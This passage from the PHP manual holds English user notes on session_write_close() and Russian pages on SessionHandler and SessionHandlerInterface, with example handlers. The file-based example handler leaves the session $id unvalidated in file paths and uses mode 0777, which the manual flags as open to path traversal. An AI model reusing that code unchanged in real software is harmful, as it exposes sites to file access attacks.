kent openit se 22-Sep-2008 02:49
When trying to use exec on Windows 2003 Server together with WAMP you probably will experience that the server stops to answer your requests.

Through calling session_write_close before -every- exec this will solve your problem.

Hope this will help someone!
yacine at wasabihawaii dot com 06-Aug-2008 02:04
My sessions were screwing up because I had 2 different session IDs going at once:

- 1 PHPSESSID cookie for domain.com
- 1 PHPSESSID cookie for www.domain.com

This fixed it:

//At the beginning of each page...
session_set_cookie_params  (1800,"/","domain.com");
session_start();
burak >>>at 25-Apr-2008 11:32
I had a similar problem with session data.
I lost the session data randomly, without any pattern. I didn't even use the header(location:... ) function.

Tried:
set "session.use_cookies" to 1 in php.ini
session-write-close()
ob_start() / ob_end_flush()

No matter what I did, it didn't worked.

Finally, when I set the "session.use_only_cookies" to 1, problem is solved. I am no longer losing any sessions.
steve at dot-totally dot co dot uk 21-Jul-2007 12:03
For the session problem when using header("Location:..."), I found session_write_close() not to help me on the my IIS server using PHP in CGI mode. The problem was the PHPSESSID cookie was never being set, so I did it the manual way:

header("Set-Cookie: PHPSESSID=" . session_id() . "; path=/");

Worked for me this way!
cottoANTISPAM at ori dot org 14-Mar-2007 11:37
This function is useful for forcing serialization of session data but it can introduce difficult-to-track bugs if it's called more than once per session_start() call.  Since it doesn't have a return value or raise an exception there won't be any indication that the serialization failed and the code will continue normally.  Only when a user visits a page that depends on unsaved session data will there be any indication of the failure.
As far as I can tell this affects both the default and custom session handling functions.

<?
session_start();
$_SESSION['foo'] = 'box';
session_write_close();

if (array_key_exists('visited',$_SESSION) {
    echo "welcome back!\n"; # will never happen
} else {
    echo "I don't know you.\n";
    $_SESSION['visited'] = true;
    session_write_close();
}
?>
tyler at n49 dot com 31-Jan-2007 05:49
Along the same lines as what cenaculo at netcabo dot pt, bkatz at usefulengineering dot com, and editorial at literati dot ca said about making sure you session_write_close(), don't forget to ob_end_flush() if you're using output buffering.

I've been having some weird hanging issues when I tried to navigate away from a page with content streaming in an Iframe or a separate window.

Instead of:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>

Do:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* Make sure data is actually flushed out to the browser */
ob_end_flush();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
risaac at deadletter dot com 04-Apr-2006 12:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com 23-Dec-2005 09:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
    session_write_close();
    require_once('path/to/classes/'.$to_require.'.php');
    session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
bkatz at usefulengineering dot com 16-Jul-2005 08:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca 15-May-2005 01:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan 06-May-2004 09:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
nakanishi at mailstyle dot com 18-Jan-2003 11:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.


Класс SessionHandler

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

SessionHandler это специальный класс, который может использоваться для дополнения внутреннего обработчика сессий PHP путём создания дочерних классов от этого. Существует семь методов, которые являются обёртками над семью внутренними обработчиками хранения данных сессии (open, close, read, write, destroy, gc и create_sid). По умолчанию этот класс оборачивает все внутренние обработчики хранения сессии, определённые в опции конфигурации session.save_handler. Эта опция по умолчанию имеет значение files. Другие внутренние обработчики сессий предоставляются PHP-модулями, такими как SQLite (sqlite), Memcache (memcache) и Memcached (memcached).

Экземпляр класса SessionHandler может устанавливаться в качестве обработчика сессии посредством вызова функции session_set_save_handler(). В этом случае он станет обёрткой существующего внутреннего обработчика. Классы, расширяющие SessionHandler позволят переопределить методы обработчика сессии или перехватить/отфильтровать их путём вызова родительских методов-обёрток внутреннего обработчика сессий PHP.

Это позволит вам, к примеру, перехватить методы read и write для шифровки/дешифровки данных сессии и передачи результата родительскому классу и от него. Или, к примеру, вы можете полностью переопределить такой метод как callback-функция сборщика мусора (gc).

Так как SessionHandler является обёрткой над стандартным внутренним обработчиком сессии, то пример, приведённый выше про шифровку данных может быть применён к любому внутреннему обработчику сессии даже без понимания внутреннего устройства процесса работы сессии.

Для использования этого класса, во-первых, установите обработчик, который вы хотите дополнить используя session.save_handler. Далее передайте экземпляр класса SessionHandler или одного из классов, расширяющих его функции session_set_save_handler().

Обратите внимание, что callback-методы этого класса предназначены для внутреннего вызова PHP и не предназначены для вызова из кода пользовательского пространства. Возвращаемые значения одинаково обрабатываются внутри PHP. Дополнительную информацию о работе с сессией можно узнать из описания функции session_set_save_handler().

Обзор классов

class SessionHandler implements SessionHandlerInterface, SessionIdInterface {
/* Методы */
public close(): bool
public create_sid(): string
public destroy(string $id): bool
public gc(int $max_lifetime): int|false
public open(string $path, string $name): bool
public read(string $id): string|false
public write(string $id, string $data): bool
}

Примечания

Внимание

Этот класс предназначен для расширения текущего внутреннего обработчика сессии PHP. При этом, если вам нужно написать собственный обработчик, то необходимо написать собственную реализацию интерфейса SessionHandlerInterface вместо расширения класса SessionHandler.

Примеры

Пример #1 Пример использования класса SessionHandler для добавления шифрования внутренним обработчикам сохранения PHP

<?php

/**
* Расшифровать данные алгоритмом AES 256
*
* @param data $edata
* @param string $password
* @return расшифрованные данные
*/
function decrypt($edata, $password) {
$data = base64_decode($edata);
$salt = substr($data, 0, 16);
$ct = substr($data, 16);

$rounds = 3; // Зависит от длины ключа
$data00 = $password.$salt;
$hash = array();
$hash[0] = hash('sha256', $data00, true);
$result = $hash[0];
for ($i = 1; $i < $rounds; $i++) {
$hash[$i] = hash('sha256', $hash[$i - 1].$data00, true);
$result .= $hash[$i];
}
$key = substr($result, 0, 32);
$iv = substr($result, 32,16);

return openssl_decrypt($ct, 'AES-256-CBC', $key, true, $iv);
}

/**
* Зашифровать данные алгоритмом AES 256
*
* @param data $data
* @param string $password
* @return base64 зашифрованные данные
*/
function encrypt($data, $password) {
// Генерация криптографически безопасной случайной соли функцией random_bytes()
$salt = random_bytes(16);

$salted = '';
$dx = '';
// Ключ соли (32) и вектор инициализации (16) = 48
while (strlen($salted) < 48) {
$dx = hash('sha256', $dx.$password.$salt, true);
$salted .= $dx;
}

$key = substr($salted, 0, 32);
$iv = substr($salted, 32,16);

$encrypted_data = openssl_encrypt($data, 'AES-256-CBC', $key, true, $iv);
return base64_encode($salt . $encrypted_data);
}

class EncryptedSessionHandler extends SessionHandler
{
private $key;

public function __construct($key)
{
$this->key = $key;
}

public function read($id)
{
$data = parent::read($id);

if (!$data) {
return "";
} else {
return decrypt($data, $this->key);
}
}

public function write($id, $data)
{
$data = encrypt($data, $this->key);

return parent::write($id, $data);
}
}

// Здесь мы перехватываем встроенный обработчик 'files', но можно использовать любой другой
// обработчик, например 'sqlite', 'memcache' или 'memcached',
// которые предлагают модули PHP
ini_set('session.save_handler', 'files');

$key = 'secret_string';
$handler = new EncryptedSessionHandler($key);
session_set_save_handler($handler, true);
session_start();

// Устанавливаем и получаем значения из $_SESSION

?>

Замечание:

Поскольку методы этого класса предназначены для внутренних вызовов из PHP как часть нормального процесса работы сессий, вызовы родительских методов из дочернего класса (иными словами «родных» обработчиков) будет возвращать false до тех пор, пока сессия не будет запущена (автоматически или прямым вызовом функции session_start()). Это важный момент для понимания, особенно при тестировании, где методы класса могут вызываться вручную.

Содержание

  • SessionHandler::close — Закрывает сессию
  • SessionHandler::create_sid — Возвращает новый идентификатор сессии
  • SessionHandler::destroy — Уничтожает сессию
  • SessionHandler::gc — Очищает старые сессии
  • SessionHandler::open — Инициализирует сессию
  • SessionHandler::read — Считывает данные сессии
  • SessionHandler::write — Записывает данные сессии

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 03-Feb-2023 07:57
Those who are planning to implement your own SessionHandler, let's say using a Database system, please make sure your 'create_sid' method creates a new record in your database with empty string '' as your 'data' using the new session ID created, otherwise when 'read' method is called (which is always called no matter if it is a brand new session or not), you will get an error because there is no record with that session ID yet.  The funny part is that the error you get will sound like PHP is trying open the session on your local drive (coming from your .ini file).
tuncdan dot ozdemir dot peng at gmail dot com 02-Feb-2023 10:06
The best way to set up your own session handler is to extend the native SessionHandler (override the 7 methods + constructor as per your need, keeping the same signatures).  Optionally, you can also implement SessionUpdateTimestampHandlerInterface if you plan to use 'lazy_write':

Option 1:

class MyOwnSessionHandler extends \SessionHandler { ..... }

Option 2:

class MyOwnSessionHandler extends \SessionHandler implements \SessionUpdateTimestampHandlerInterface { ..... }

I would NOT recommend to do this:

class MyOwnSessionHandler implements \SessionHandlerInterface, \SessionIdInterface, \SessionUpdateTimestampHandlerInterface { ... }

If you are curious, here are the methods called in the order (using PHP 8.2 with XAMPP v3.3.0 on Windows 11 64-bit):

- open (always called)

- validateId and/or create_sid:

    validateId is called if you implement SessionUpdateTimestampHandlerInterface.  If validation fails, create_sid is called.

    create_sid is called if a new session ID is needed: new session, etc.

- read (always called)

- write OR updateTimestamp OR destroy:

    if you call 'destroy', neither 'write' or 'updateTimestamp' is called,

    if you have the 'lazy_write' on AND implemented SessionUpdateTimestampHandlerInterface,
    then 'updateTimestamp' is called instead of 'write' if nothing changes.

- close (always called)
saccani dot francesco dot NOSPAM at gmail dot com 15-Mar-2020 08:07
I made this gist to provide a complete overview of the PHP session handler life cycle updated to version 7.0 or above. In particular, I wanted to emphasize what methods and in what order are called when the native PHP functions are used for session management.

https://gist.github.com/franksacco/d6e943c41189f8ee306c182bf8f07654

I hope this analysis will help all the developers interested in understanding in detail the native session management performed by PHP and what a custom session handler should do.
Any comment or suggestion is appreciated.
wei dot kavin at gmail dot com 29-May-2019 07:38
php -S localhost:8000 -t foo/

touch index.php

vi index.php
============================================================
class NativeSessionHandler extends \SessionHandler
{
    public function __construct($savePath = null)
    {
        if (null === $savePath) {
            $savePath = ini_get('session.save_path');
        }

        $baseDir = $savePath;

        if ($count = substr_count($savePath, ';')) {
            if ($count > 2) {
                throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'', $savePath));
            }

            // characters after last ';' are the path
            $baseDir = ltrim(strrchr($savePath, ';'), ';');
        }

        if ($baseDir && !is_dir($baseDir) && !@mkdir($baseDir, 0777, true) && !is_dir($baseDir)) {
            throw new \RuntimeException(sprintf('Session Storage was not able to create directory "%s"', $baseDir));
        }

        ini_set('session.save_path', $savePath);
        ini_set('session.save_handler', 'files');
    }
}

$handler = new NativeSessionHandler("/var/www/foo");
session_set_save_handler($handler, true);
session_start();
$a = $handler->write("aaa","bbbb");var_dump($a);exit;

============================================================

output:bool(false)
tony at marston-home dot demon dot co dot uk 12-Jun-2018 07:55
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
jeremie dot legrand at komori-chambon dot fr 09-Mar-2016 09:22
Here is a wrapper to log in a file each session's operations. Useful to investigate sessions locks (which prevent PHP to serve simultaneous requests for a same client).
Just change the file name at the end to dump logs where you want.

class DumpSessionHandler extends SessionHandler {
    private $fich;

    public function __construct($fich) {
        $this->fich = $fich;
    }

    public function close() {
        $this->log('close');
        return parent::close();
    }

    public function create_sid() {
        $this->log('create_sid');
        return parent::create_sid();
    }

    public function destroy($session_id) {
        $this->log('destroy('.$session_id.')');
        return parent::destroy($session_id);
    }

    public function gc($maxlifetime) {
        $this->log('close('.$maxlifetime.')');
        return parent::gc($maxlifetime);
    }

    public function open($save_path, $session_name) {
        $this->log('open('.$save_path.', '.$session_name.')');
        return parent::open($save_path, $session_name);
    }

    public function read($session_id) {
        $this->log('read('.$session_id.')');
        return parent::read($session_id);
    }

    public function write($session_id, $session_data) {
        $this->log('write('.$session_id.', '.$session_data.')');
        return parent::write($session_id, $session_data);
    }

    private function log($action) {
        $base_uri = explode('?', $_SERVER['REQUEST_URI'], 2)[0];
        $hdl = fopen($this->fich, 'a');
        fwrite($hdl, date('Y-m-d h:i:s').' '.$base_uri.' : '.$action."\n");
        fclose($hdl);
    }
}
ini_set('session.save_handler', 'files');
$handler = new DumpSessionHandler('/path/to/dump_sessions.log');
session_set_save_handler($handler, true);
rasmus at mindplay dot dk 03-Aug-2015 09:08
As the life-cycle of a session handler is fairly complex, I found it difficult to understand when explained using just words - so I traced the function calls made to a custom SessionHandler, and created this overview of precisely what happens when you call various session methods:

https://gist.github.com/mindplay-dk/623bdd50c1b4c0553cd3

I hope this makes it considerably easier to implement a custom SessionHandler and get it right the first time :-)


Закрывает сессию

  • « SessionHandler
  • SessionHandler::create_sid »
  • PHP Manual
  • SessionHandler
  • Закрывает сессию

SessionHandler::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::close — Закрывает сессию

Описание

public SessionHandler::close(): bool

Закрывает текущую сессию. Этот метод автоматически вызывается из PHP во время закрытия сессии или напрямую вызовом функции session_write_close() (которая для начала вызывает функцию SessionHandler::write()).

Этот метод является обёрткой внутреннего обработчика сессий PHP, определённого в настройке ini-файла session.save_handler, которая устанавливается перед тем как обработчик активируется функцией session_set_save_handler().

Если этот класс расширяется путём наследования, то вызов родительского метода close выполнит код обёртки, а следовательно код внутреннего обработчика. Это позволяет методу быть переопределённым или перехваченным.

Дополнительную информацию о том, какие действия ожидаются от этого метода смотрите руководство по методу SessionHandlerInterface::close().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает новый идентификатор сессии

  • « SessionHandler::close
  • SessionHandler::destroy »
  • PHP Manual
  • SessionHandler
  • Возвращает новый идентификатор сессии

SessionHandler::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionHandler::create_sid — Возвращает новый идентификатор сессии

Описание

public SessionHandler::create_sid(): string

Генерирует и возвращает новый идентификатор сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Идентификатор сессии допустимый для обработчика сессии по умолчанию.

Смотрите также

  • session_id() - Получает и/или устанавливает идентификатор текущей сессии
  • session_create_id() - Создаёт новый идентификатор сессии

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает сессию

  • « SessionHandler::create_sid
  • SessionHandler::gc »
  • PHP Manual
  • SessionHandler
  • Уничтожает сессию

SessionHandler::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::destroy — Уничтожает сессию

Описание

public SessionHandler::destroy(string $id): bool

Уничтожает сессию. Вызывается изнутри PHP посредством функции session_regenerate_id() (подразумевается, что параметр $destroy установлен в true, функции session_destroy() или когда вызов session_decode() неудачен.

Этот метод является обёрткой для внутреннего обработчика PHP, определённого в настройке ini-файла session.save_handler, который устанавливается до обработчика вызовом session_set_save_handler().

Если этот класс расширяется путём наследования, то вызов родительского метода destroy выполнит код обёртки, а следовательно код внутреннего обработчика. Это позволяет методу быть переопределённым, перехваченным или отфильтрованным.

Для дополнительной информации смотрите руководство по функции SessionHandlerInterface::destroy().

Список параметров

id

Идентификатор уничтожаемой сессии.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

User Contributed Notes

There are no user contributed notes for this page.


Очищает старые сессии

  • « SessionHandler::destroy
  • SessionHandler::open »
  • PHP Manual
  • SessionHandler
  • Очищает старые сессии

SessionHandler::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::gc — Очищает старые сессии

Описание

public SessionHandler::gc(int $max_lifetime): int|false

Очищает сессии с истёкшим сроком жизни. Вызывается случайным образом изнутри PHP когда сессия стартует или когда вызвана функция session_start(). Частота, с которой она вызывается, основана на значении параметров конфигурации session.gc_divisor и session.gc_probability.

Этот метод обёртывает внутренний обработчик сессии определённый в настройке ini-файла session.save_handler который устанавливается перед тем, как определяется данный обработчик в функции session_set_save_handler().

Если этот класс расширяется путём наследования, вызов родительского метода gc выполнит код обёртки для этого метода, а также внутренний обработчик. Это позволит методу быть переопределённым, или перехваченным и отфильтрованным.

Для дополнительной информации о том, что ожидается от реализации этого метода смотрите документацию по методу SessionHandlerInterface::gc().

Список параметров

max_lifetime

Сессии, которые не были обновлены в течение последних max_lifetime секунд удаляются.

Возвращаемые значения

В случае успешного выполнения возвращает количество удалённых сессий или false, если возникла ошибка. Обратите внимание, что это значение возвращается внутрь PHP для обработки.

Список изменений

Версия | Описание
7.1.0 | До этой версии, в случае успешного выполнения эта функция возвращала true.

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует сессию

  • « SessionHandler::gc
  • SessionHandler::read »
  • PHP Manual
  • SessionHandler
  • Инициализирует сессию

SessionHandler::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::open — Инициализирует сессию

Описание

public SessionHandler::open(string $path, string $name): bool

Создаёт новую сессию или повторно инициализирует существующую. Вызывается изнутри PHP когда сессия стартует автоматически или посредством вызова функции session_start().

Этот метод является обёрткой для внутреннего обработчика PHP определённого в настройке ini-файла session.save_handler, который устанавливается до определения обработчика вызовом функции session_set_save_handler().

Если этот класс расширяется путём наследования, вызов родительского метода open выполнит код обёртки для этого метода, а также внутренний обработчик. Это позволит методу быть переопределённым, или перехваченным и отфильтрованным.

Для дополнительной информации о том, что ожидается от реализации этого метода смотрите документацию по методу SessionHandlerInterface::open().

Список параметров

path

Путь по которому сохраняется/восстанавливается сессия.

name

Название сессии.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

Смотрите также

  • Опция конфигурации session.auto-start

User Contributed Notes

There are no user contributed notes for this page.


Считывает данные сессии

  • « SessionHandler::open
  • SessionHandler::write »
  • PHP Manual
  • SessionHandler
  • Считывает данные сессии

SessionHandler::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::read — Считывает данные сессии

Описание

public SessionHandler::read(string $id): string|false

Считывает данные сессии из хранилища и возвращает результат обратно в PHP для внутренней обработки. Этот метод вызывается автоматически когда PHP стартует сессию (либо автоматически или напрямую вызовом session_start() с последующим вызовом SessionHandler::open().

Этот метод является обёрткой внутреннего обработчика PHP, определённого в параметре ini-файла session.save_handler который устанавливается до того, как будет определён обработчик сессии вызовом session_set_save_handler().

Если этот класс расширен путём наследования, вызов родительского метода read вызовет обёртку для этого метода и, соответственно, вызов внутреннего обработчика. Это позволяет методу быть перегруженным, и/или перехваченные и отфильтрованным (например для расшифровки, значения параметра $data, которое возвращает родительский метод read).

Для дополнительной информации смотрите документацию по методу SessionHandlerInterface::read().

Список параметров

id

Идентификатор сессии, из которой необходимо считать данные.

Возвращаемые значения

Возвращает зашифрованную строку считанных данных. Если ничего не считано, возвращается false. Обратите внимание, что это значение возвращается в PHP для внутренней обработки.

Смотрите также

  • Директива настройки session.serialize_handler.

User Contributed Notes

andrey at puhovsky dot com 05-Dec-2022 10:04
Please note that you have to return false only for PHP 8+.

For the older versions you have to return an empty string, otherwise you will get an error 'Warning: session_start(): Failed to read session data: user (path: 127.0.0.1:9999)'


Записывает данные сессии

  • « SessionHandler::read
  • SessionHandlerInterface »
  • PHP Manual
  • SessionHandler
  • Записывает данные сессии

SessionHandler::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::write — Записывает данные сессии

Описание

public SessionHandler::write(string $id, string $data): bool

Записывает данные сессии в хранилище. Обычно вызывается при завершении скрипта, функцией session_write_close() или когда session_register_shutdown() терпит неудачу. PHP вызывает SessionHandler::close() сразу же после этого метода.

Метод является обёрткой внутреннего обработчика PHP, определённого в параметре ini-файла session.save_handler который устанавливается до того, как будет определён обработчик сессии вызовом session_set_save_handler().

Если этот класс расширен путём наследования, вызов родительского метода write вызовет обёртку для этого метода и, соответственно, вызов внутреннего обработчика. Это позволяет методу быть перегруженным или перехваченным и отфильтрованным (например, для шифрования значения параметра $data перед отправкой его в родительский метод write).

Для дополнительной информации смотрите документацию по методу SessionHandlerInterface::write().

Список параметров

id

Идентификатор сессии.

data

Зашифрованные данные сессии. Эти данные являются результатом того, что PHP внутренне шифрует суперглобальную переменную $_SESSION в сериализированную строку и передаёт её в качестве параметра. Обратите внимание, что сессии используют альтернативный метод сериализации.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

Смотрите также

  • Директива настройки конфигурации session.serialize_handler.

User Contributed Notes

There are no user contributed notes for this page.


Класс SessionHandlerInterface

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

SessionHandlerInterface — интерфейс, который определяет минимальный прототип для создания пользовательского обработчика сессии. Для предоставления пользовательского обработчика сессии функции session_set_save_handler(), используя её ООП реализацию, класс должен реализовывать этот интерфейс.

Обратите внимание, что callback-методы этого класса созданы для внутренних вызовов PHP и не предназначены для вызовов из вашего кода.

Обзор интерфейсов

interface SessionHandlerInterface {
/* Методы */
public close(): bool
public destroy(string $id): bool
public gc(int $max_lifetime): int|false
public open(string $path, string $name): bool
public read(string $id): string|false
public write(string $id, string $data): bool
}

Примеры

Пример #1 Пример использования класса SessionHandlerInterface

Следующий пример реализует файловую сессию таким же образом, как это реализовано во внутреннем обработчике сессии PHP. Этот пример может быть легко расширен для обеспечения хранения сессий в предпочитаемой вами базе данных.

Обратите внимание, что мы используем объектно-ориентированные прототипы с функцией session_set_save_handler() и регистрируем функцию завершения (shutdown) используя один из параметров этой функции. Это действие рекомендуется производить в большинстве случаев, когда объекты регистрируются в качестве обработчиков сессии.

Предостережение

Для краткости в этом примере не добавлена проверка входных данных. Обратите внимание, что параметр $id предоставляется пользователем и обязательно должен проверяться для исключения возможных атак, использующих, например, проблемы обхода пути. Так что ни в коем случае не используйте этот код в промышленной эксплуатации, не добавив соответствующие проверки.

<?php

class MySessionHandler implements SessionHandlerInterface
{
private $savePath;

public function open($savePath, $sessionName): bool
{
$this->savePath = $savePath;
if (!is_dir($this->savePath)) {
mkdir($this->savePath, 0777);
}
return true;
}

public function close(): bool
{
return true;
}

#[\ReturnTypeWillChange]
public function read($id)
{
return (string)@file_get_contents("$this->savePath/sess_$id");
}

public function write($id, $data): bool
{
return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
}

public function destroy($id): bool
{
$file = "$this->savePath/sess_$id";
if (file_exists($file)) {
unlink($file);
}
return true;
}

#[\ReturnTypeWillChange]
public function gc($maxlifetime)
{
foreach (glob("$this->savePath/sess_*") as $file) {
if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
unlink($file);
}
}
return true;
}
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// Продолжаем работать с переменными сессии, устанавливая или читая их значение из суперглобальной переменной $_SESSION

?>

Содержание

  • SessionHandlerInterface::close — Закрывает сессию
  • SessionHandlerInterface::destroy — Уничтожает сессию
  • SessionHandlerInterface::gc — Очищает старые сессии
  • SessionHandlerInterface::open — Инициализирует сессию
  • SessionHandlerInterface::read — Читает данные сессии
  • SessionHandlerInterface::write — Записать данные сессии

User Contributed Notes

ohcc at 163 dot com 22-Mar-2020 01:50
If you want to use type declarations in your own session handling class, don't "implements" the SessionHandlerInterface, SessionIdInterface, or SessinUpdateTimestampInterface, otherwise you will get a fatal error saying that declaration of the class method must be compatible with the interface method.

a bad example
<?php
    class SessionWuXianchengHandler implements SessionHandlerInterface {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>

a good example
<?php
    class SessionWuXianchengHandler {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:45
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
ohcc at 163 dot com 16-Dec-2017 04:50
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 08:06
The non-OOP prototype of session_set_save_handler() supports validate_sid and update_timestamp as of PHP 7.0 while the OOP prototype doesn't even in PHP 7.2. However the OOP prototype does support create_sid since PHP 5.5.1.

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.
ohcc at 163 dot com 03-Dec-2017 10:40
As of PHP 5.5.1, another method create_sid() is supported. It will be called when session_regenerate_id() is invoked.

SessionHandlerInterface {
    /* Methods */
    abstract public bool close ( void )
    abstract public bool create_sid ( void )
    abstract public bool destroy ( string $session_id )
    abstract public bool gc ( int $maxlifetime )
    abstract public bool open ( string $save_path , string $session_name )
    abstract public string read ( string $session_id )
    abstract public bool write ( string $session_id , string $session_data )
}
StanE 02-Nov-2015 07:46
I think there is a small "error" in the example of the class MySessionHandler in method gc(). It uses the function filemtime() whose return value is cached by PHP. Add the following line inside the foreach block in the gc() method:

clearstatcache(true, $file);
avenidagez at foro5 dot com 06-Dec-2014 03:54
Note that session_start( ) calls open then read and the class returns true for open and the value of session or empty for read.
Well, then there is no catch for errors, this is, session_start() must return false on failure, but that is not the case for the class implementation on method open, no matter if you return true or false or whatever from open, it is ignored by session_start() function and proceeds to read method
A bug?, if open returns false, session_start() should stop the next step (read) and return itself false

if(session_start()) ...code
else exit( );

So forget about session_start() return value, you need to implement an error catch routine and exit() in case of failure on open method
warxcell at gmail dot com 21-Sep-2012 11:12
You should prepend <b>\</b> before class name, to tell php its from root namespace.


Закрывает сессию

  • « SessionHandlerInterface
  • SessionHandlerInterface::destroy »
